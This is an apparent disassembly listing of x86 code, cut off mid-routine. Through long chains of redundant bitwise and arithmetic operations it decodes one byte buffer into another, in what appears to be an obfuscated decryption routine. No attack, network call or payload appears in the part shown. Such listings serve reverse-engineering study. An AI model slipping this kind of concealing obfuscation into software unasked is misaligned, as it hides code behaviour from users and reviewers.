mov cl, al
xor cl, 0xff
and cl, 0x95
and al, 0x6a
or cl, al
xor cl, 0xe1
mov byte [0x474ef8], cl
mov dl, byte [0x474df9]
mov cl, dl
or cl, cl
mov al, cl
xor al, 0xff
xor cl, 0xff
and al, cl
or al, 0
xor al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xad
xor dl, 0xff
and dl, 0x52
xor al, 0xff
xor dl, 0xff
mov cl, al
and cl, dl
xor cl, 0xff
xor al, 0xff
xor dl, 0xff
or al, dl
xor cl, 0xff
xor al, 0xff
or cl, al
mov byte [0x474ef9], cl
mov bl, byte [0x474dfa]
mov al, bl
xor al, 0x7e
xor al, 0xff
mov dl, al
and dl, 0x7e
xor dl, 0xff
xor al, 0xff
or al, 0x81
xor dl, 0xff
xor al, 0xff
or dl, al
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0x7e
sub bl, al
mov byte [0x474efa], bl
mov al, byte [0x474dfb]
mov cl, al
xor cl, 0x39
xor cl, 0xff
and cl, 0x39
shl cl, 1
sub cl, 0x39
mov dl, al
xor dl, cl
xor cl, 0xff
and al, cl
shl al, 1
sub al, dl
mov byte [0x474efb], al
mov al, byte [0x474dfc]
mov cl, al
and cl, 0x26
shl cl, 1
add al, 0x26
sub al, cl
mov byte [0x474efc], al
mov al, byte [0x474dfd]
mov cl, al
and cl, 0x8e
shl cl, 1
mov dl, al
add dl, 0x8e
sub dl, cl
xor dl, 0xff
and dl, 0x8e
shl dl, 1
sub dl, 0x8e
sub al, dl
mov byte [0x474efd], al
mov al, byte [0x474dfe]
mov cl, al
xor cl, 0xff
and cl, 0x33
and al, 0xcc
or cl, al
xor cl, 1
mov byte [0x474efe], cl
mov al, byte [0x474dff]
xor al, 0x97
mov byte [0x474eff], al
mov al, byte [0x474e00]
mov cl, al
xor cl, 0xff
and cl, 0xfd
and al, 2
or cl, al
mov byte [0x474f00], cl
mov al, byte [0x474e01]
mov cl, al
xor cl, 0x85
xor cl, 0xff
and cl, 0x85
shl cl, 1
sub cl, 0x85
sub al, cl
mov byte [0x474f01], al
mov al, byte [0x474e02]
mov dl, al
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0x89
xor al, 0xff
and al, 0x76
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x474f02], dl
mov al, byte [0x474e03]
xor al, 0x1a
mov byte [0x474f03], al
mov al, byte [0x474e04]
mov dl, al
xor dl, 0xff
and dl, 0xff
or dl, 0
mov cl, al
and cl, 0xff
shl cl, 1
mov ah, al
add ah, 0xff
sub ah, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
xor cl, 0xff
mov ah, cl
xor ah, 0xff
mov dl, ah
and dl, 0x5e
and cl, 0xa1
or dl, cl
xor dl, 0x5a
or ah, 0xfb
xor ah, 0xff
and ah, 0xff
or dl, ah
xor al, 0xff
mov ah, al
xor ah, 0xff
mov dh, ah
and dh, 0x14
and al, 0xeb
or dh, al
xor dh, 0xef
or ah, 4
xor ah, 0xff
and ah, 0xff
or dh, ah
and dl, dh
xor dl, 0xff
mov byte [0x474f04], dl
mov al, byte [0x474e05]
mov cl, al
xor cl, 0xff
and cl, 0x28
and al, 0xd7
or cl, al
xor cl, 0xf3
mov byte [0x474f05], cl
mov dl, byte [0x474e06]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
and al, 4
mov cl, dl
xor cl, 0xfb
xor cl, 0xff
or dl, 0xfb
and dl, cl
xor al, 0xff
mov cl, dl
xor cl, 0xff
mov ah, al
and ah, 0x2f
mov ch, cl
and ch, 0x2f
and dl, 0xd0
or ah, 0
or ch, dl
xor ah, ch
or al, cl
xor al, 0xff
and al, 0xff
or ah, al
xor ah, 0xf9
mov byte [0x474f06], ah
mov al, byte [0x474e07]
mov cl, al
and cl, 0xe0
shl cl, 1
add al, 0xe0
sub al, cl
mov byte [0x474f07], al
mov al, byte [0x474e08]
xor al, 0xa
mov byte [0x474f08], al
mov bl, byte [0x474e09]
mov cl, bl
xor cl, 0xc5
xor cl, 0xff
and cl, 0xc5
shl cl, 1
sub cl, 0xc5
mov al, bl
sub al, cl
xor al, 0xff
mov dl, al
xor dl, 0xff
or dl, 0x3a
and al, 0xc5
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0xc5
sub bl, al
mov byte [0x474f09], bl
mov al, byte [0x474e0a]
xor al, 0xf2
mov byte [0x474f0a], al
mov cl, byte [0x474e0b]
mov al, cl
xor al, 0xff
and al, 0x2a
mov dl, cl
and dl, 0xd5
or al, dl
xor al, 0xd5
and al, 0x32
mov dl, cl
xor dl, 0x32
and dl, cl
or al, dl
mov byte [0x474f0b], al
mov al, byte [0x474e0c]
xor al, 0x45
mov byte [0x474f0c], al
mov al, byte [0x474e0d]
xor al, 0xcb
mov byte [0x474f0d], al
mov al, byte [0x474e0e]
xor al, 0xf7
mov byte [0x474f0e], al
mov al, byte [0x474e0f]
xor al, 0x70
mov byte [0x474f0f], al
mov al, byte [0x474e10]
xor al, 0xdb
mov byte [0x474f10], al
mov al, byte [0x474e11]
xor al, 0xe4
mov byte [0x474f11], al
mov al, byte [0x474e12]
xor al, 0x1c
mov byte [0x474f12], al
mov al, byte [0x474e13]
xor al, 0xb9
mov byte [0x474f13], al
mov al, byte [0x474e14]
mov dl, al
xor dl, 0xff
and dl, 0xd1
mov cl, al
and cl, 0x2e
or dl, cl
xor dl, 0x2e
mov cl, al
xor cl, 0xff
mov ah, dl
xor ah, 0xff
mov ch, cl
xor ch, 0xff
and ah, ch
or dl, cl
xor dl, 0xff
xor ah, 0xff
xor dl, 0xff
and ah, dl
mov cl, ah
and cl, 0xff
shl cl, 1
add ah, 0xff
sub ah, cl
mov dl, ah
xor dl, 0xff
xor ah, 0xff
or dl, ah
and dl, 0x24
xor dl, 0xff
mov cl, al
xor cl, 0xff
and cl, 0x59
and al, 0xa6
or cl, al
xor cl, 0xa6
or cl, 0x24
and dl, cl
mov al, dl
xor al, 0xff
xor dl, 0xff
or al, dl
xor al, 0xff
or al, 0
and al, 0xff
xor al, 0xff
mov byte [0x474f14], al
mov dl, byte [0x474e15]
mov ah, dl
xor ah, 0xff
mov al, dl
xor al, 0xff
or ah, al
mov al, ah
xor al, 0xff
or al, 0x96
xor ah, 0xff
or ah, 0x96
xor al, 0xff
xor ah, 0xff
or al, ah
xor al, 0xff
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
mov cl, dl
or cl, 0x69
xor cl, 0xff
or dl, 0x69
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
and cl, dl
and al, cl
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
mov byte [0x474f15], al
mov al, byte [0x474e16]
mov cl, al
xor cl, 0xab
xor cl, 0xff
and cl, 0xab
shl cl, 1
sub cl, 0xab
sub al, cl
mov byte [0x474f16], al
mov al, byte [0x474e17]
xor al, 0xc0
mov byte [0x474f17], al
mov al, byte [0x474e18]
mov cl, al
and cl, 0xc7
shl cl, 1
add al, 0xc7
sub al, cl
mov byte [0x474f18], al
mov al, byte [0x474e19]
xor al, 0x46
mov byte [0x474f19], al
mov al, byte [0x474e1a]
xor al, 0xcb
mov byte [0x474f1a], al
mov al, byte [0x474e1b]
mov cl, al
xor cl, 0xff
and cl, 0x20
and al, 0xdf
or cl, al
mov byte [0x474f1b], cl
mov al, byte [0x474e1c]
mov cl, al
and cl, 0xc6
shl cl, 1
add al, 0xc6
sub al, cl
mov byte [0x474f1c], al
mov al, byte [0x474e1d]
mov cl, al
and cl, 0xe0
shl cl, 1
add al, 0xe0
sub al, cl
mov byte [0x474f1d], al
mov al, byte [0x474e1e]
mov cl, al
xor cl, 0xff
and cl, 0xff
or cl, 0
and cl, 0x12
and al, 0xed
mov dl, cl
xor dl, 0xff
xor cl, 0xff
or dl, cl
and al, al
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x474f1e], dl
mov al, byte [0x474e1f]
mov dl, al
or dl, dl
xor dl, 0xff
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
and dl, 2
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
and al, 0xfd
xor dl, 0xff
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
and dl, al
mov byte [0x474f1f], dl
mov bl, byte [0x474e20]
mov al, bl
add al, 1
mov dl, bl
xor dl, 0xff
or dl, 0x16
add dl, al
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0x16
xor al, 0xff
add bl, al
add bl, 1
mov byte [0x474f20], bl
mov al, byte [0x474e21]
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0x6e
xor cl, 0xff
and al, 0x91
xor al, 0xff
and cl, al
xor cl, 0xff
mov byte [0x474f21], cl
mov al, byte [0x474e22]
xor al, 0x7a
mov byte [0x474f22], al
mov al, byte [0x474e23]
mov cl, al
and cl, 0x80
shl cl, 1
add al, 0x80
sub al, cl
mov byte [0x474f23], al
mov al, byte [0x474e24]
mov cl, al
and cl, 0xc2
shl cl, 1
add al, 0xc2
sub al, cl
mov byte [0x474f24], al
mov dl, byte [0x474e25]
mov al, dl
or al, al
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xff
or al, 0
xor al, 0xff
and al, 0xa1
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0xa1
xor dl, 0xff
xor al, 0xff
xor dl, 0xff
mov cl, al
xor cl, 0xff
mov ah, dl
xor ah, 0xff
or cl, ah
and al, dl
xor al, 0xff
xor cl, 0xff
xor al, 0xff
or cl, al
mov byte [0x474f25], cl
mov al, byte [0x474e26]
xor al, 0x34
mov byte [0x474f26], al
mov dl, byte [0x474e27]
mov al, dl
and al, al
xor al, 0xff
and al, 0x15
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
and dl, 0xea
mov ah, dl
xor ah, 0xff
and ah, 0xe7
and dl, 0x18
or ah, dl
xor ah, 0x18
mov dl, al
xor dl, 0xff
xor al, 0xff
and dl, al
or ah, ah
xor ah, 0xff
xor dl, 0xff
xor ah, 0xff
and dl, ah
mov al, dl
xor al, 0xff
and al, 0xcf
and dl, 0x30
or al, dl
xor al, 0x30
mov byte [0x474f27], al
mov al, byte [0x474e28]
mov dl, al
xor dl, 0x36
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
and dl, 0x36
shl dl, 1
sub dl, 0x36
mov cl, al
xor cl, dl
xor dl, 0xff
and al, dl
shl al, 1
sub al, cl
mov byte [0x474f28], al
mov al, byte [0x474e29]
mov cl, al
and cl, 0xe9
shl cl, 1
mov dl, al
and dl, 0xe9
or al, 0xe9
add dl, al
mov al, dl
xor al, cl
xor cl, 0xff
and dl, cl
shl dl, 1
sub dl, al
mov byte [0x474f29], dl
mov al, byte [0x474e2a]
mov cl, al
and cl, 0x92
shl cl, 1
add al, 0x92
sub al, cl
mov byte [0x474f2a], al
mov al, byte [0x474e2b]
mov dl, al
or dl, dl
xor dl, 0xff
or dl, 0xc6
xor dl, 0xff
shl dl, 1
sub al, 0x9b
add al, 0x39
add al, 0x9b
mov cl, al
xor cl, 0xff
and cl, dl
xor dl, 0xff
and al, dl
sub al, cl
mov byte [0x474f2b], al
mov bl, byte [0x474e2c]
mov dl, bl
xor dl, 0xff
and dl, 0xbf
mov al, bl
and al, 0x40
or dl, al
mov al, dl
and al, 0xff
shl al, 1
add dl, 0xff
sub dl, al
xor dl, 0xff
xor dl, 0xbf
and dl, 0xbf
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0xbf
sub bl, al
mov byte [0x474f2c], bl
mov bl, byte [0x474e2d]
mov dl, bl
and dl, 0x19
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0x19
sub bl, al
mov byte [0x474f2d], bl
mov al, byte [0x474e2e]
mov cl, al
and cl, 0xce
shl cl, 1
add al, 0xce
sub al, cl
mov byte [0x474f2e], al
mov al, byte [0x474e2f]
mov cl, al
xor cl, 0xff
and cl, 0xfc
and al, 3
or cl, al
xor cl, 0x5d
mov byte [0x474f2f], cl
mov al, byte [0x474e30]
mov cl, al
xor cl, 0xff
xor cl, 0xff
or cl, 0x95
xor cl, 0xff
and cl, 0xff
and al, 0x95
or cl, al
mov byte [0x474f30], cl
mov al, byte [0x474e31]
mov cl, al
or cl, cl
xor cl, 0xff
or cl, 0x23
xor cl, 0xff
shl cl, 1
add al, 0xdc
xor edx, edx
sub dl, cl
add al, dl
mov byte [0x474f31], al
mov dl, byte [0x474e32]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
mov ah, al
add ah, 1
xor al, 0xff
or al, cl
add al, ah
xor al, 0xff
and al, 0x6d
xor dl, 0xff
and dl, 0x92
xor al, 0xff
and al, 0xff
or al, 0
xor dl, 0xff
mov cl, al
and cl, dl
xor cl, 0xff
and al, dl
xor al, 0xff
xor cl, 0xff
xor al, 0xff
or cl, al
mov byte [0x474f32], cl
mov al, byte [0x474e33]
mov cl, al
and cl, 0x4b
shl cl, 1
add al, 0x4b
sub al, cl
mov byte [0x474f33], al
mov al, byte [0x474e34]
xor al, 0xe5
mov byte [0x474f34], al
mov al, byte [0x474e35]
xor al, 0
mov byte [0x474f35], al
mov al, byte [0x474e36]
xor al, 0x69
mov byte [0x474f36], al
mov al, byte [0x474e37]
xor al, 0x74
mov byte [0x474f37], al
mov bl, byte [0x474e38]
mov dl, bl
xor dl, 0x84
mov al, dl
xor al, 0xff
xor al, 0xff
and al, 0xff
shl al, 1
sub al, 0xff
sub dl, al
and dl, 0x84
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add al, 0x7c
sub bl, al
mov byte [0x474f38], bl
mov al, byte [0x474e39]
xor al, 0x80
mov byte [0x474f39], al
mov cl, byte [0x474e3a]
mov al, cl
and al, al
xor al, 0xff
xor al, 0xff
or al, 0xc9
and cl, 0xc9
mov dl, cl
xor dl, 0xff
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0
and dl, 0xff
xor dl, 0xff
xor al, 0xff
xor dl, 0xff
mov cl, dl
and cl, al
xor cl, 0xff
add al, dl
add al, 1
add al, cl
mov byte [0x474f3a], al
mov al, byte [0x474e3b]
mov cl, al
xor cl, 0xff
and cl, 0x56
and al, 0xa9
or cl, al
xor cl, 0xee
mov byte [0x474f3b], cl
mov al, byte [0x474e3c]
mov cl, al
xor cl, 0xff
and cl, 0x96
and al, 0x69
or cl, al
mov byte [0x474f3c], cl
mov al, byte [0x474e3d]
xor al, 0
mov byte [0x474f3d], al
mov al, byte [0x474e3e]
xor al, 0xbb
mov byte [0x474f3e], al
mov al, byte [0x474e3f]
xor al, 0xd3
mov byte [0x474f3f], al
mov al, byte [0x474e40]
xor al, 0x42
mov byte [0x474f40], al
mov al, byte [0x474e41]
mov cl, al
xor cl, 0xff
and cl, 0xff
or cl, 0
or cl, 0xf
add cl, 0xf1
and al, 0xf
or cl, al
mov byte [0x474f41], cl
mov al, byte [0x474e42]
mov cl, al
xor cl, 0x46
xor cl, 0xff
and cl, 0x46
shl cl, 1
sub cl, 0x46
sub al, cl
mov byte [0x474f42], al
mov al, byte [0x474e43]
mov dl, al
or dl, dl
xor dl, 0xff
or dl, 0xf7
xor dl, 0xff
xor al, 0xff
and al, 0xf7
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x474f43], dl
mov dl, byte [0x474e44]
mov cl, dl
and cl, cl
xor cl, 0xff
mov al, dl
add al, al
add al, 1
add al, cl
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
xor al, 0xff
and al, 0xbb
or dl, 0xbb
xor dl, 0xff
and dl, 0xff
or dl, 0
or al, dl
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
mov byte [0x474f44], al
mov al, byte [0x474e45]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov dl, al
sub dl, cl
and dl, 0x9c
and al, 0x63
or dl, al
mov byte [0x474f45], dl
mov al, byte [0x474e46]
xor al, 0x6c
mov byte [0x474f46], al
mov al, byte [0x474e47]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
or dl, 0xba
xor dl, 0xff
or al, 0x45
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x474f47], dl
mov al, byte [0x474e48]
mov cl, al
add cl, 1
mov dl, al
xor dl, 0xff
or dl, 0x18
add dl, cl
shl dl, 1
add al, 0x18
sub al, dl
mov byte [0x474f48], al
mov al, byte [0x474e49]
mov cl, al
xor cl, 0xff
and cl, 0xe1
and al, 0x1e
or cl, al
mov byte [0x474f49], cl
mov bl, byte [0x474e4a]
mov al, bl
xor al, 0x74
xor al, 0xff
mov dl, bl
or dl, 0x74
and dl, al
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0x74
xor al, 0xff
add bl, al
add bl, 1
mov byte [0x474f4a], bl
mov al, byte [0x474e4b]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
and cl, dl
mov dl, cl
xor dl, 0xff
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
or dl, 0xdb
xor dl, 0xff
and dl, 0xff
xor al, 0xff
and al, 0xdb
or dl, al
xor dl, 0xff
mov byte [0x474f4b], dl
mov al, byte [0x474e4c]
xor al, 0x1e
mov byte [0x474f4c], al
mov al, byte [0x474e4d]
mov cl, al
and cl, 0xf6
shl cl, 1
add al, 0xf6
xor cl, 0xff
add al, cl
add al, 1
mov byte [0x474f4d], al
mov al, byte [0x474e4e]
mov dl, al
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0x28
and al, 0x28
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x474f4e], dl
mov al, byte [0x474e4f]
mov cl, al
xor cl, 0xff
and cl, 0xdf
and al, 0x20
or cl, al
mov byte [0x474f4f], cl
mov al, byte [0x474e50]
xor al, 0x51
mov byte [0x474f50], al
mov al, byte [0x474e51]
mov dl, al
xor dl, 0xa5
xor dl, 0xff
and dl, 0xff
or dl, 0
xor dl, 0
and dl, 0xa5
shl dl, 1
sub dl, 0xa5
sub al, dl
mov byte [0x474f51], al
mov al, byte [0x474e52]
xor al, 0x84
mov byte [0x474f52], al
mov al, byte [0x474e53]
xor al, 0x47
mov byte [0x474f53], al
mov ah, byte [0x474e54]
mov dh, ah
xor dh, 0xff
and dh, 0x2f
and ah, 0xd0
mov al, dh
xor al, 0xff
mov bl, ah
xor bl, 0xff
mov dl, al
and dl, 0xdb
and dh, 0x24
mov cl, bl
and cl, 0xdb
and ah, 0x24
or dl, dh
or cl, ah
xor dl, cl
or al, bl
xor al, 0xff
and al, 0xff
or dl, al
xor dl, 0xb9
mov byte [0x474f54], dl
mov al, byte [0x474e55]
xor al, 0x1a
mov byte [0x474f55], al
mov al, byte [0x474e56]
mov dl, al
xor dl, 0xff
mov dh, al
xor dh, 0xff
mov ah, dl
and ah, 0xb2
mov cl, al
and cl, 0x4d
mov ch, dh
and ch, 0xb2
mov bl, al
and bl, 0x4d
or ah, cl
or ch, bl
xor ah, ch
or dl, dh
xor dl, 0xff
and dl, 0xff
or ah, dl
xor ah, 0xff
or ah, ah
xor ah, 0xff
xor ah, 0xff
and ah, 0xff
or ah, 0
xor ah, 0xff
mov dl, ah
xor dl, 0xea
and dl, ah
mov cl, al
and cl, 0xea
mov ah, al
xor ah, 0x15
add al, ah
sub al, cl
and al, al
xor al, 0xff
and al, 0xff
xor al, 0xff
xor al, 0xff
or al, 0
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
mov ah, al
xor ah, 0xff
xor al, 0xff
or ah, al
and ah, 0xff
xor ah, 0xff
and ah, 0xff
xor ah, 0xff
mov al, dl
add al, 1
xor dl, 0xff
or dl, ah
add dl, al
mov byte [0x474f56], dl
mov dl, byte [0x474e57]
mov al, dl
xor al, 0xff
and al, 0xd9
mov cl, dl
and cl, 0x26
or al, cl
xor al, 0x26
mov cl, dl
xor cl, 0xff
and al, cl
xor al, 0xff
and al, 0x2e
xor dl, 0xff
mov cl, dl
add cl, 1
xor dl, 0xff
or dl, 0xd1
add dl, cl
mov ah, al
xor ah, 0xff
mov cl, dl
xor cl, 0xff
and ah, cl
xor al, 0xff
xor dl, 0xff
and al, dl
or ah, al
xor ah, 0xff
xor ah, 0xff
mov byte [0x474f57], ah
mov al, byte [0x474e58]
xor al, 2
mov byte [0x474f58], al
mov bl, byte [0x474e59]
mov dl, bl
and dl, 0xc3
xor dl, 0xff
mov al, bl
xor al, 0xff
or al, 0x3c
and dl, al
xor dl, 0xff
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub bl, 0x3d
xor al, 0xff
add bl, al
add bl, 1
mov byte [0x474f59], bl
mov al, byte [0x474e5a]
mov ah, al
xor ah, 0xff
mov cl, al
xor cl, 0xff
or ah, cl
xor ah, 0xff
and ah, 0xff
mov dl, ah
xor dl, 0xff
and dl, 0x7d
and ah, 0x82
or dl, ah
xor dl, 0x82
xor dl, 0xff
or dl, 0xc9
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
mov cl, al
add cl, 1
xor al, 0xff
or al, 0xc9
add al, cl
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x474f5a], dl
mov al, byte [0x474e5b]
xor al, 0x17
mov byte [0x474f5b], al
mov al, byte [0x474e5c]
xor al, 0x5f
mov byte [0x474f5c], al
mov al, byte [0x474e5d]
mov cl, al
xor cl, 0xff
and cl, 0xe
and al, 0xf1
or cl, al
xor cl, 0x85
mov byte [0x474f5d], cl
mov al, byte [0x474e5e]
mov cl, al
xor cl, 0x7e
xor cl, 0xff
and cl, 0x7e
shl cl, 1
sub cl, 0x7e
sub al, cl
mov byte [0x474f5e], al
mov dl, byte [0x474e5f]
mov al, dl
and al, al
xor al, 0xff
and al, 0x76
xor al, 0xff
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 0
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0x76
and al, dl
xor al, 0xff
mov byte [0x474f5f], al
mov al, byte [0x474e60]
xor al, 0xa
mov byte [0x474f60], al
mov al, byte [0x474e61]
mov cl, al
and cl, 0x91
shl cl, 1
add al, 0x91
sub al, cl
mov byte [0x474f61], al
mov al, byte [0x474e62]
mov cl, al
and cl, 0x83
shl cl, 1
add al, 0x83
sub al, cl
mov byte [0x474f62], al
mov al, byte [0x474e63]
xor al, 0x27
mov byte [0x474f63], al
mov al, byte [0x474e64]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0xf4
shl dl, 1
sub al, 0xa
add al, 0xf4
add al, 0xa
sub al, dl
mov byte [0x474f64], al
mov cl, byte [0x474e65]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
xor al, 0xff
and al, 0xdf
xor cl, 0xff
and cl, 0x20
or al, cl
xor al, 0xff
mov byte [0x474f65], al
mov dl, byte [0x474e66]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
or al, cl
xor al, 0xff
mov cl, al
and cl, 0x38
mov ah, al
xor ah, 0xc7
add al, ah
sub al, cl
mov ah, dl
and ah, 0xc7
xor ah, 0xff
and dl, 0xc7
xor dl, 0xff
xor ah, 0xff
xor dl, 0xff
or ah, dl
xor ah, 0xff
mov cl, al
xor cl, 0xff
and cl, 0x1f
and al, 0xe0
or cl, al
xor cl, 0xe0
xor ah, 0xff
or cl, ah
mov byte [0x474f66], cl
mov al, byte [0x474e67]
mov cl, al
and cl, 0xf3
shl cl, 1
add al, 0xf3
sub al, cl
mov byte [0x474f67], al
mov al, byte [0x474e68]
xor al, 0xe2
mov byte [0x474f68], al
mov al, byte [0x474e69]
mov dl, al
or dl, dl
xor dl, 0xff
or dl, 0
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
mov ah, dl
and ah, 0xdf
xor ah, 0xff
and dl, 0xdf
xor dl, 0xff
and ah, dl
xor ah, 0xff
mov cl, al
xor cl, 0xdf
and cl, al
or ah, cl
xor ah, 0x5e
mov byte [0x474f69], ah
mov al, byte [0x474e6a]
xor al, 0x69
mov byte [0x474f6a], al
mov al, byte [0x474e6b]
mov ah, al
xor ah, 0xff
mov cl, al
xor cl, 0xff
or ah, cl
xor ah, 0xff
or ah, 0x44
xor ah, 0xff
and ah, 0xff
mov dl, ah
xor dl, 0xff
xor ah, 0xff
and dl, ah
or dl, 0
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
xor al, 0xff
or al, 0xbb
or dl, dl
xor dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 0
xor dl, 0xff
or al, al
xor al, 0xff
or al, 0
xor al, 0xff
or al, 0
xor al, 0xff
or dl, al
mov byte [0x474f6b], dl
mov bl, byte [0x474e6c]
mov al, bl
xor al, 0xff
mov cl, bl
xor cl, 0xff
or al, cl
and al, 0x34
xor al, 0xff
mov cl, bl
xor cl, 0xff
or cl, 0x34
xor al, 0xff
xor cl, 0xff
or al, cl
mov dl, al
xor dl, 0xff
xor al, 0xff
and dl, al
or dl, 0
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
and dl, 0x34
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0x34
sub bl, al
mov byte [0x474f6c], bl
mov al, byte [0x474e6d]
mov cl, al
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0x9b
xor al, 0xff
and al, 0x64
or cl, al
xor cl, 0xff
mov byte [0x474f6d], cl
mov al, byte [str.BGtB_n8]
mov cl, al
xor cl, 0x47
mov dl, cl
xor dl, 0xff
xor cl, 0xff
and dl, cl
or dl, 0
xor dl, 0xff
or dl, 0
xor dl, 0xff
mov ah, dl
and ah, 0x47
xor ah, 0xff
and dl, 0x47
xor dl, 0xff
xor ah, 0xff
xor dl, 0xff
or ah, dl
shl ah, 1
sub ah, 0x47
mov cl, al
xor cl, 0xff
and cl, ah
xor ah, 0xff
and al, ah
sub al, cl
mov byte [0x474f6e], al
mov al, byte [0x474e6f]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
xor dl, 0xff
xor cl, 0xff
or dl, cl
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
mov cl, dl
xor cl, 0xbd
and cl, dl
xor al, 0xff
and al, 0xbd
mov dl, cl
xor dl, 0xff
and dl, 0x39
and cl, 0xc6
or dl, cl
xor dl, 0xc6
xor al, 0xff
and dl, al
mov byte [0x474f6f], dl
mov al, byte [0x474e70]
xor al, 0x71
mov byte [0x474f70], al
mov al, byte [0x474e71]
xor al, 0x47
mov byte [0x474f71], al
mov al, byte [0x474e72]
xor al, 0xf
mov byte [0x474f72], al
mov al, byte [0x474e73]
xor al, 0x3d
mov byte [0x474f73], al
mov dl, byte [0x474e74]
mov al, dl
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xff
or al, 0
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
or al, 0x41
xor al, 0xff
xor dl, 0xff
and dl, 0x41
mov cl, al
and cl, dl
xor al, dl
or cl, al
mov al, cl
and al, 0xff
shl al, 1
add cl, 0xff
sub cl, al
mov byte [0x474f74], cl
mov al, byte [0x474e75]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov dl, al
sub dl, cl
mov cl, al
xor cl, 0xff
mov ah, dl
and ah, cl
xor dl, cl
or ah, dl
mov dl, ah
xor dl, 0xff
and dl, 0xa3
and ah, 0x5c
or dl, ah
xor dl, 0x5c
or dl, 0x95
mov ah, al
xor ah, 0xff
xor al, 0xff
